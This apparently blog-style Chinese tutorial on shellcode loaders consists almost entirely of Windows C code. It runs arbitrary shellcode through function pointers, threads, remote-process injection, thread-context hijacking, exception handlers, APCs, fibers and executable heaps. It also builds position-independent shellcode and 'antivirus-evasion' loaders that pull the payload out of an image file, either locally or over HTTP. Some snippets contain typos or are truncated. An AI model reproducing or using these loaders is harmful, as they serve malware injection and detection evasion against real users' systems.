shellcode加载的几种方式

前言

什么是shellcode

什么是shellcode加载器

shellcode的加载器的原理

加载方式

函数指针0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<Windows.h>
int main(){
//1.申请可读可写可执行的内存
LPVOID lpBuffer = VirtualAlloc(NULL,521,MEM_COMMIT,PAGE_EXCUTE_READWRITE);
//2.写入内存
memcpy(lpBuffer,shellcode,521);
//3.声明函数指针
typedef void(*Shell)();
//4.给函数指针赋值
Shell start = (Shell)lpBuffer;
//5.执行函数
start();
return 0;
}

函数指针0x02

1
2
3
4
5
6
7
8
9
10
#include<Windows.h>
int main(){
//1.申请可读可写可执行的内存
LPVOID lpBuffer = VirtualAlloc(NULL,521,MEM_COMMIT,PAGE_EXCUTE_READWRITE);
//2.写入内存
memcpy(lpBuffer,shellcode,521);
//3.强转成函数指针并执行
((void(*)())lpBuffer)();
return 0;
}

本地线程加载

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<windows.h>
int main(){
//1.申请可读可写可执行的内存
LPVOID lpBuffer = VirtualAlloc(NULL, 674, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//2.将不可执行的shellcode拷贝到可执行的内存内
SIZE_T lpNumberOfBytesWritten = 0;
WriteProcessMemory(GetCurrentProcess(), lpBuffer, shellcode, 674, &lpNumberOfBytesWritten);
//3.创建线程执行可执行内存
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
//4.等待线程执行结束
WaitForSingleObject(hThread, INFINITE);
return 0;
}

远程线程加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<Windows.h>
int main(){
//0.[optional] 定义进程号 -任务管理器(不现实)
int ProcessNo = 14944;
//1.获取进程句柄
//FindWindows
//枚举
//FirstProcess\nextProcess等等
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessNo);
//2.申请远程进程内存
LPVOID lpBuffer = VirtualAllocEx(hProcess,NULL, 674, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpBuffer == NULL) {
return -1;
}
//3.将shellcode拷贝到远程的可读可写可执行内存中
SIZE_T lpNumberOfBytesWritten = 0;
WriteProcessMemory(hProcess, lpBuffer, shellcode, 674, &lpNumberOfBytesWritten);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
if (hThread == NULL) {
return -2;
}
WaitForSingleObject(hThread,INFINITE);
}

定义数据区段可执行

1
2
3
4
5
6
7
8
9
10
#include<Windows.h>
#pragma comment(linker,"/section:.data,RWE")
//section 区段
//.data 数据段
//RWE r-read w-write e-exec
int main(){
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)(DWORD)shellcode, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}

切换线程上下文加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<Windows.h>
#pragma comment(linker,"/section:.data,RWE")
//section 区段
//.data 数据段
//RWE r-read w-write e-exec
int main(){
//1.声明结构体对象
//线程上下文
//EIP RIP 指令指针寄存器,指定下一行将要执行的代码
//通过切换EIP指向来切换程序执行流程
CONTEXT ctx;
//2.设置需要获取的内容
ctx.ContextFlags = CONTEXT_ALL;
//3.打开当前线程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());
if (hThread == NULL) {
return -1;
}
//4.获取当前线程的上下文结构
GetThreadContext(hThread, &ctx);
//5.对获取到的结构成员进行设置
ctx.Eip = (DWORD)shellcode;
//6.设置回线程
SetThreadContext(hThread, &ctx);
return 0;
}

内联汇编0x01

1
2
3
4
5
6
7
8
9
10
#pragma comment(linker,"/section:.data,RWE")
int main(){
//内联汇编
//直接跳转到目标执行
_asm {
lea eax,shellcode
jmp eax
}
return 0;
}

内联汇编0x02

1
2
3
4
5
6
7
8
9
10
11
#pragma comment(linker,"/section:.data,RWE")
int main(){
//假返回执行shellcode
//call func时会把eip压到栈顶,ret回调用func的函数时默认会从栈顶拿到一个值跳转那条语句
_asm {
lea eax,shellcode
push eax
ret
}
return 0;
}

VEH异常加载shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#pragma comment(linker,"/section:.data,RWE")
LONG NTAPI Handler(struct _EXCEPTION_POINTERS* ExceptionInfo) {
//判断异常代码 == 软件断点(对应int 3异常)
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
//线程上下文指向shellcode
ExceptionInfo->ContextRecord->Eip = (DWORD)shellcode;
//继续执行
return EXCEPTION_CONTINUE_EXECUTION;
}
};
int main(){
//VEH 注册向量化异常处理程序
AddVectoredContinueHandler(1,Handler);
//触发int3 软件断点
_asm int 3;
return 0;
}

SEH异常加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#pragma comment(linker,"/section:.data,RWE")
int ExceptFilter(){
((void(*)())&shellcode)();
return EXCEPTION_CONTINUE_EXECUTION;
}
int main(){
__try {
//除0异常
int c = 1 / 0;
}
//异常过滤程序过滤
__except (ExceptFilter()) {
}
return 0;
}

APC

1
2
3
4
5
6
7
8
9
10
11
#pragma comment(linker,"/section:.data,RWE")
int main() {
//APC 异步过程调用
//线程存在一个队列,APC在里面排队,我们可以使用API插入一个APC,而APC是有事件处理(回调函数)
//1.拿到了主线程句柄
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());
//2.插入APC任务到线程的队列里
QueueUserAPC((PAPCFUNC)(LPVOID)shellcode, hThread, NULL);
//3.触发APC
SleepEx(1, TRUE);
return 0;

纤程

1
2
3
4
5
6
7
8
9
10
11
12
13
#pragma comment(linker,"/section:.data,RWE")
int main(){
//纤程
//1.将线程转换成纤程
ConvertThreadToFiber(NULL);
//2.创建一个纤程对象
void* FiberObject = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)shellcode, NULL);
//3.纤程的切换
SwitchToFiber(FiberObject);
//4.释放对象
DeleteFiber(FiberObject);
return 0;
}

可执行堆

1
2
3
4
5
6
7
8
9
10
11
12
13
int main(){
//创建可执行堆用来存储shellcode
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);
//在新创建的堆里面分配一块内存
char* lpShellcode = (char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(shellcode));
//拷贝shellcode到新开辟的内存中
memcpy(lpShellcode, shellcode, sizeof(shellcode));
//线程启动等等方式
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpShellcode, NULL, NULL, NULL);
//等待
WaitForSingleObject(hThread,INFINITE);
return 0;
}

shellcode开发

  1. 动态获取函数进行调用(不依赖头文件等)

    获取kernel32.dll ==>获取基地址

    PE文件格式:

    获取它的导出函数

    LoadLibraryA

    GetProcAddress

    使用函数指针调用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include<windows.h>
#include<stdio.h>
//指定代码段
#pragma code_seg("shell")
//指定入口点
#pragma comment(linker,"/entry:bt")
void bt()
{
DWORD dwkernel32 = 0;
//Thread Env Block 线程环境块 //获取当前的TEB
_TEB* pTeb = NtCurrentTeb();
//Process Env Block 进程结构块 x86: 0x30 x86-64: 0x60
PDWORD pPeb = (PDWORD) * (PDWORD)((DWORD)pTeb + 0x30);
//LDR结构体=>保存着所有的DLL
PDWORD pLdr = (PDWORD) * (PDWORD)((DWORD)pPeb + 0xC);
//当前进程所有的模块
PDWORD InLoadOrderModuleList = (PDWORD)((DWORD)pLdr + 0xC);
//通过LDR获取主模块
PDWORD pModuleExe = (PDWORD)*InLoadOrderModuleList;
//拿到ntdll
PDWORD pModuleNtdll = (PDWORD)*pModuleExe;
//拿到kernel32
PDWORD pModulekernel32 = (PDWORD)*pModuleNtdll;
//kernelBase
dwkernel32 = pModulekernel32[6];
DWORD dwBase = (DWORD)dwkernel32;
//DOS头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwBase;
//NT头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwBase);
//导出表
PIMAGE_DATA_DIRECTORY pIde = pNt->OptionalHeader.DataDirectory;
pIde = &(pIde[IMAGE_DIRECTORY_ENTRY_EXPORT]);
DWORD dwOffset = pIde->VirtualAddress;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwBase + dwOffset);
DWORD dwFuncCount = pExport->NumberOfFunctions;
DWORD dwFuncNameCount = pExport->NumberOfNames;
PDWORD pEAT = (PDWORD)(dwBase + pExport->AddressOfFunctions);
PDWORD pENT = (PDWORD)(dwBase + pExport->AddressOfNames);
PWORD pEIT = (PWORD)(dwBase + pExport->AddressOfNameOrdinals);
DWORD dwFuncAddress = 0;
for (size_t i = 0; i < dwFuncCount; i++) {
if (!pEAT[i]) {
continue;
}
DWORD dwFuncAddrOffset = pEAT[i];
for (size_t index = 0; index < dwFuncNameCount; index++)
{
if (pEIT[index] == i) {
DWORD dwNameOffset = pENT[i];
char* szFuncName = (char*)((DWORD)dwBase + dwNameOffset);
char szGetProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s' };
int nFlagCount = 0;
for (size_t j = 0; j < 14; j++)
{
if (szFuncName[j] == szGetProcAddress[j]) {
nFlagCount++;
}
}
if (nFlagCount == 14)
{
dwFuncAddress = pEAT[pEIT[i]] + dwBase;
}
}
}
}
typedef HMODULE
(WINAPI _stdcall * fnLoadLibraryA)(
_In_ LPCSTR lpLibFileName
);
typedef FARPROC
(WINAPI _stdcall* fnGetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
typedef int
(WINAPI _stdcall* fnMessageBoxA)(
_In_opt_ HWND hWnd,
_In_opt_ LPCSTR lpText,
_In_opt_ LPCSTR lpCaption,
_In_ UINT uType);
typedef VOID
(WINAPI _stdcall* fnExitProcess)(
_In_ UINT uExitCode
);
char szLoadLibraryA[] = { 'L','o','a','d','L','i','b','r','a','r','y','A','\0' };
char szGetProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s' ,'\0' };
char szMessageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A','\0' };
char szExitProcess[] = { 'E','x','i','t','P','r','o','c','e','s','s','\0' };
char szUser32[] = { 'U','s','e','r','3','2','.','d','l','l','\0' };
char szbt[] = { 'H','e','l','l','o',',','B','T','!','\0'};
fnGetProcAddress pFnGetProcAddress = (fnGetProcAddress)dwFuncAddress;
int address = (int)GetProcAddress;
HMODULE hkernel32 = (HMODULE)dwkernel32;
fnLoadLibraryA pFnLoadLibrary = (fnLoadLibraryA)(pFnGetProcAddress(hkernel32, szLoadLibraryA));
HMODULE hUser32 = (HMODULE)pFnLoadLibrary(szUser32);
fnMessageBoxA pFnMessageBoxA = (fnMessageBoxA)pFnGetProcAddress(hUser32, szMessageBoxA);
fnExitProcess pFnExitProcess = (fnExitProcess)pFnGetProcAddress(hkernel32, szExitProcess);
pFnMessageBoxA(NULL, szbt, szbt, MB_OK);
pFnExitProcess(0);
}

本地分离免杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<Windows.h>
#define CODE_LEN 674
char* GetCode(LPCWSTR localPath,int nCodeSize) {
//打开文件,获取句柄
HANDLE hFile = CreateFile(localPath, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
//获取文件尺寸
DWORD dwFileSize = GetFileSize(hFile, NULL);
//申请内存存放shellcode
char* szBuffer = new char[dwFileSize] {0};
//读文件
DWORD dwReadLength = 0;
ReadFile(hFile, szBuffer, dwFileSize, &dwReadLength, NULL);
//解析出shellcode的起始位置,并且拷贝到空白的buffer中(图片size-codesize)
DWORD dwIndex = dwFileSize - nCodeSize;
char* szShellcode = new char[nCodeSize] {0};
//将文件buffer内的shellcode放进szShellcode并返回
memcpy(szShellcode, (szBuffer + dwIndex), nCodeSize);
return szShellcode;
}
int main() {
//获取shellcode
char* szCode = GetCode(L"G:\\shell\\code.jpg",CODE_LEN);
//申请一段可读可写可执行的内存
LPVOID lpBuffer = VirtualAlloc(NULL, 800, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpNumberOfBytesWritten = 0;
BOOL bRet = WriteProcessMemory(GetCurrentProcess(), lpBuffer, szCode, CODE_LEN, &lpNumberOfBytesWritten);
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}

远程分离免杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include<WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
#include<WinInet.h>
#pragma comment(lib,"wininet.lib")
#include<Windows.h>
//#pragma comment(linker,"/section:.data,RWE")
//section 区段
//.data 数据段
//RWE r-read w-write e-exec
#define CODE_LEN 674
//char* GetCode(LPCWSTR localPath,int nCodeSize) {
// //打开文件,获取句柄
// HANDLE hFile = CreateFile(localPath, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// //获取文件尺寸
// DWORD dwFileSize = GetFileSize(hFile, NULL);
// //申请内存存放shellcode
// char* szBuffer = new char[dwFileSize] {0};
// //读文件
// DWORD dwReadLength = 0;
// ReadFile(hFile, szBuffer, dwFileSize, &dwReadLength, NULL);
// //解析出shellcode的位置,并且拷贝到空白的buffer中(图片)
// DWORD dwIndex = dwFileSize - nCodeSize;
// char* szShellcode = new char[nCodeSize] {0};
// memcpy(szShellcode, (szBuffer + dwIndex), nCodeSize);
// return szShellcode;
//}
char* GetNetCode(LPCWSTR Path, int nCodeSize) {
HINTERNET hSession = InternetOpen(L"http-connect", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
HINTERNET hConnect = InternetOpenUrl(hSession, Path, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
char szReadBuffer[0x11E762]{ 0 };
DWORD dwReadDataLength = 0;
InternetReadFile(hConnect, szReadBuffer, 0x11E761, &dwReadDataLength);
//解析出shellcode的位置,并且拷贝到空白的buffer中(图片)
DWORD dwIndex = dwReadDataLength - nCodeSize;
char* szShellcode = new char[nCodeSize] {0};
memcpy(szShellcode, (szReadBuffer + dwIndex), nCodeSize);
return szShellcode;
}
int main() {
//获取shellcode
//char* szCode = GetCode(L"G:\\shell\\favicon.jpg",CODE_LEN);
LPCWSTR Path = L"http://127.0.0.1/favicon.jpg";
HINTERNET hSession = InternetOpen(L"http-connect", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
HINTERNET hConnect = InternetOpenUrl(hSession, Path, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
char *szReadBuffer = new char[0x11E761];
DWORD dwReadDataLength = 0;
InternetReadFile(hConnect, szReadBuffer, 0x11E761, &dwReadDataLength);
//解析出shellcode的位置,并且拷贝到空白的buffer中(图片)
DWORD dwIndex = dwReadDataLength - CODE_LEN +1;
char* szShellcode = new char[CODE_LEN] {0};
memcpy(szShellcode, (szReadBuffer + dwIndex), CODE_LEN);
//申请一段可读可写可执行的内存
LPVOID lpBuffer = VirtualAlloc(NULL, 800, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpNumberOfBytesWritten = 0;
BOOL bRet = WriteProcessMemory(GetCurrentProcess(), lpBuffer, szShellcode, CODE_LEN, &lpNumberOfBytesWritten);
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}